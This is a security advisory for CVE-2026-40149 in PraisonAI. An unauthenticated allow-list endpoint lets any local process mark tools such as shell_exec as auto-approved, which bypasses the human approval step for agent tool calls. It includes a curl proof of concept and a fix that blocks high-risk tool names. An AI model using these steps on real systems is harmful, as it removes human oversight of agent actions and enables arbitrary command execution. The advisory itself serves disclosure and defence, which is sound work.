GHSA-4wr3-f4p3-5wjh CVE-2026-40149 PYSEC-2026-2901
PraisonAI: Unauthenticated Allow-List Manipulation Bypasses Agent Tool Approval Safety Controls
- Severity
- 7.9 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.23%
- Chance of exploitation in the next 30 days. Higher than 13.55% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-306 Missing Authentication for Critical Function
- CWE-396 Declaration of Catch for Generic Exception
- Fix
4.5.128- Upgrade praisonai to this version or later
Description
Summary
The gateway's /api/approval/allow-list endpoint permits unauthenticated modification of the tool approval allowlist when no auth_token is configured (the default). By adding dangerous tool names (e.g., shell_exec, file_write) to the allowlist, an attacker can cause the ExecApprovalManager to auto-approve all future agent invocations of those tools, bypassing the human-in-the-loop safety mechanism that the approval system is specifically designed to enforce.
Details
The vulnerability arises from the interaction of three components:
1. Authentication bypass in default config
_check_auth() in server.py:243-246 returns None (no error) when self.config.auth_token is falsy:
# server.py:243-246
def _check_auth(request) -> Optional[JSONResponse]:
if not self.config.auth_token:
return None # No auth configured → allow everything
GatewayConfig defaults auth_token to None (config.py:61):
# config.py:61
auth_token: Optional[str] = None
2. Unrestricted allowlist modification
The approval_allowlist handler at server.py:381-420 calls _check_auth() and proceeds when it returns None:
# server.py:388-410
auth_err = _check_auth(request)
if auth_err:
return auth_err
# ...
if request.method == "POST":
_approval_mgr.allowlist.add(tool_name) # No validation on tool_name
return JSONResponse({"added": tool_name})
There is no validation that tool_name corresponds to a real tool, no restriction on which tools can be allowlisted, and no rate limiting.
3. Auto-approval fast path
When GatewayApprovalBackend.request_approval() is called by an agent (gateway_approval.py:87), it calls ExecApprovalManager.register(), which checks the allowlist first (exec_approval.py:141-144):
# exec_approval.py:140-144
# Fast path: already permanently allowed
if tool_name in self.allowlist:
future.set_result(Resolution(approved=True, reason="allow-always"))
return ("auto", future)
The tool executes immediately without any human review.
Complete data flow:
- Attacker POSTs
{"tool_name": "shell_exec"}to/api/approval/allow-list _check_auth()returnsNone(no auth token configured)_approval_mgr.allowlist.add("shell_exec")adds to thePermissionAllowlistset- Agent later calls
shell_exec→GatewayApprovalBackend.request_approval()→ExecApprovalManager.register() register()hits the fast path:"shell_exec" in self.allowlist→True- Returns
Resolution(approved=True)— no human review occurs - Agent executes the dangerous tool
PoC
# Step 1: Verify the gateway is running with default config (no auth)
curl http://127.0.0.1:8765/health
# Response: {"status": "healthy", ...}
# Step 2: Check current allow-list (empty by default)
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": []}
# Step 3: Add dangerous tools to allow-list without authentication
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "shell_exec"}'
# Response: {"added": "shell_exec"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "file_write"}'
# Response: {"added": "file_write"}
curl -X POST http://127.0.0.1:8765/api/approval/allow-list \
-H 'Content-Type: application/json' \
-d '{"tool_name": "code_execution"}'
# Response: {"added": "code_execution"}
# Step 4: Verify tools are now permanently auto-approved
curl http://127.0.0.1:8765/api/approval/allow-list
# Response: {"allow_list": ["code_execution", "file_write", "shell_exec"]}
# Step 5: Any agent using GatewayApprovalBackend will now auto-approve
# these tools via ExecApprovalManager.register() fast path at
# exec_approval.py:141 without human review.
Impact
- Bypasses human-in-the-loop safety controls: The approval system is the primary safety mechanism preventing agents from executing dangerous operations (shell commands, file writes, code execution) without human review. Once the allowlist is manipulated, all safety gates for the specified tools are permanently disabled for the lifetime of the gateway process.
- Enables arbitrary agent tool execution: Any tool can be added to the allowlist, including tools that execute shell commands, write files, or perform other privileged operations.
- Persistent within process: The allowlist is stored in-memory and persists for the entire gateway lifetime. There is no audit log of allowlist modifications.
- Local attack surface: Default binding to
127.0.0.1limits this to local attackers, but any process on the same host (malicious scripts, compromised dependencies, SSRF from other local services) can exploit this. When combined with the separately-reported CORS wildcard origin (CWE-942), this becomes exploitable from any website via the user's browser.
Recommended Fix
The approval allowlist endpoint is a security-critical function and should always require authentication, even in development mode. Apply one of these mitigations:
Option A: Require auth_token for approval endpoints (recommended)
# server.py - modify _check_auth or add a separate check for approval endpoints
def _check_auth_required(request) -> Optional[JSONResponse]:
"""Validate auth token - ALWAYS required for security-critical endpoints."""
if not self.config.auth_token:
return JSONResponse(
{"error": "auth_token must be configured to use approval endpoints"},
status_code=403,
)
return _check_auth(request)
# Then in approval_allowlist():
async def approval_allowlist(request):
auth_err = _check_auth_required(request) # Always require auth
if auth_err:
return auth_err
Option B: Restrict allowlist additions to known safe tools
# exec_approval.py - add a tool safety classification
ALLOWLIST_BLOCKED_TOOLS = {"shell_exec", "file_write", "code_execution", "bash", "terminal"}
# server.py - validate tool_name before adding
if tool_name in ALLOWLIST_BLOCKED_TOOLS:
return JSONResponse(
{"error": f"'{tool_name}' cannot be added to allow-list (high-risk tool)"},
status_code=403,
)
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| praisonai | < 4.5.128 |
4.5.128 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
praisonai PyPI → 4.5.128
- pip
pip install --upgrade "praisonai>=4.5.128"- poetry
poetry add "praisonai>=4.5.128"- uv
uv add "praisonai>=4.5.128"
Severity breakdown
CVSS 3.1 7.9
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Weakness
CWE-306: Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
How to prevent it
- Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
- Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].
CWE-396: Declaration of Catch for Generic Exception
Catching overly broad exceptions promotes complex error handling code that is more likely to contain security vulnerabilities.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-26mh-57q7-jfvr PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox | High | Also affects praisonai |
| GHSA-6g6r-q6gw-w8fg PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92) | Critical | Also affects praisonai |
| GHSA-pvph-5j39-v8qc PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server | High | Also affects praisonai |
| GHSA-gfq8-hmph-9gjv PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret | High | Also affects praisonai |
| GHSA-2jgc-f764-c5r2 PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete | High | Also affects praisonai |
| GHSA-pvxx-r596-f5qj PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced | High | Also affects praisonai |
| GHSA-hmfx-4v44-9qw9 PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation | Medium | Also affects praisonai |
| GHSA-rg5q-pp8p-f7jm PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114 | High | Also affects praisonai |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor